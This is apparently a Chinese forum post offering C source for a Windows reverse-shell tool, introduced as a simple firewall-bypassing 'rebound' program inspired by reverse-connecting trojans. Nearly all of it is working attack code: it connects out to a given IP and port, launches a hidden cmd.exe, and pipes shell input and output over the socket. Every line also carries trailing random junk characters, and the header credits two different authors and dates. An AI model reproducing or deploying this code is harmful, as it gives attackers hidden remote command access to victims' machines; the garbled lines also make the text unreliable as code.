这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %7L'2/Y2x
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/* ============================== \w`Il"}V
Rebound port in Windows NT OO\UF6MCU
By wind,2006/7 6%fU}si,
===============================*/ az19-QIcg
#include G.(9I~!
#include i2swots
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#pragma comment(lib,"wsock32.lib") r2H]n.MT
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void OutputShell(); u#}zNz#C5
SOCKET sClient; )DoY*'Cl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t,RR\S
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void main(int argc,char **argv) mWka!lT
{ mk[=3!J
WSADATA stWsaData; O0~[]3Y[=
int nRet; =I*"vwc?
SOCKADDR_IN stSaiClient,stSaiServer; _<5>
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if(argc != 3) 2#|Q=rWB
{ LR`/pet
printf("Useage:\n\rRebound DestIP DestPort\n"); aP4r6lLv+
return; N(F9vZOs
} VpJ2Qpd=
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WSAStartup(MAKEWORD(2,2),&stWsaData); II[qWs>RG[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dyu~T{
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stSaiClient.sin_family = AF_INET; 'JRkS'ay
stSaiClient.sin_port = htons(0); "*TnkFTR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EP{y?+E2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1k
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{ ukhI'alS,
printf("Bind Socket Failed!\n"); KqB(W,$
return; ]l&_Pv!!
} jQ`cfE$sV
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stSaiServer.sin_family = AF_INET; Dwwh;B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K4oLb"gB1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 79S=n,O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qzV:N8+,`
{ r)h+pga5^E
printf("Connect Error!"); zJtYy4jI)
return; -LQ%)'J ZN
} 'fZHtnmc0
OutputShell(); {AQ3y,sh
} 1uS
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void OutputShell() XB^z' P{-Y
{ -S9$C*t
char szBuff[1024]; xNl_Q8Z?R^
SECURITY_ATTRIBUTES stSecurityAttributes; UJlKw `4
OSVERSIONINFO stOsversionInfo; C+2*m=r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C;STJrew
STARTUPINFO stStartupInfo; T4w`I;&v
char *szShell; ? NVN&zD]
PROCESS_INFORMATION stProcessInformation; n802!d+Tn
unsigned long lBytesRead; }JvyjE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }0qgvw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uvZ|6cM
stSecurityAttributes.lpSecurityDescriptor = 0; Z
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stSecurityAttributes.bInheritHandle = TRUE; 6XB9]it6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [% YCupr#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o^5xCK:Oi2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dt;R
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H?^Poe(=(
stStartupInfo.wShowWindow = SW_HIDE; ,9
stStartupInfo.hStdInput = hReadPipe; }J"}poB:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NcFHvK
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GetVersionEx(&stOsversionInfo); eV}Ow`~I5
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switch(stOsversionInfo.dwPlatformId) '6[0NuB
{ r1$
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case 1: !J'BAq[x
szShell = "command.com"; XG_lyx%:E
break; 6uR:/PTG
default: bi[vs|
szShell = "cmd.exe"; JZ80 |-c
break; *G2p;n=2
} &5c)qap;n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qKZ~)B j
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send(sClient,szMsg,77,0); ^%*%=LJm
while(1) JKXs/r;:
{ \JN?3}_J
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zTm&m#){3A
if(lBytesRead) ocGqXDg3
{ I`zn#U'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q9F(8-J
send(sClient,szBuff,lBytesRead,0); 3S
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} RE7 I"
else E*j)gj9
{ jh2D9h
lBytesRead=recv(sClient,szBuff,1024,0); ')+'m1N
if(lBytesRead<=0) break; B]0`b1t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); zc\e$MO
} c9r, <TR9
} 3Sf<oYF
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return; 0ir]
}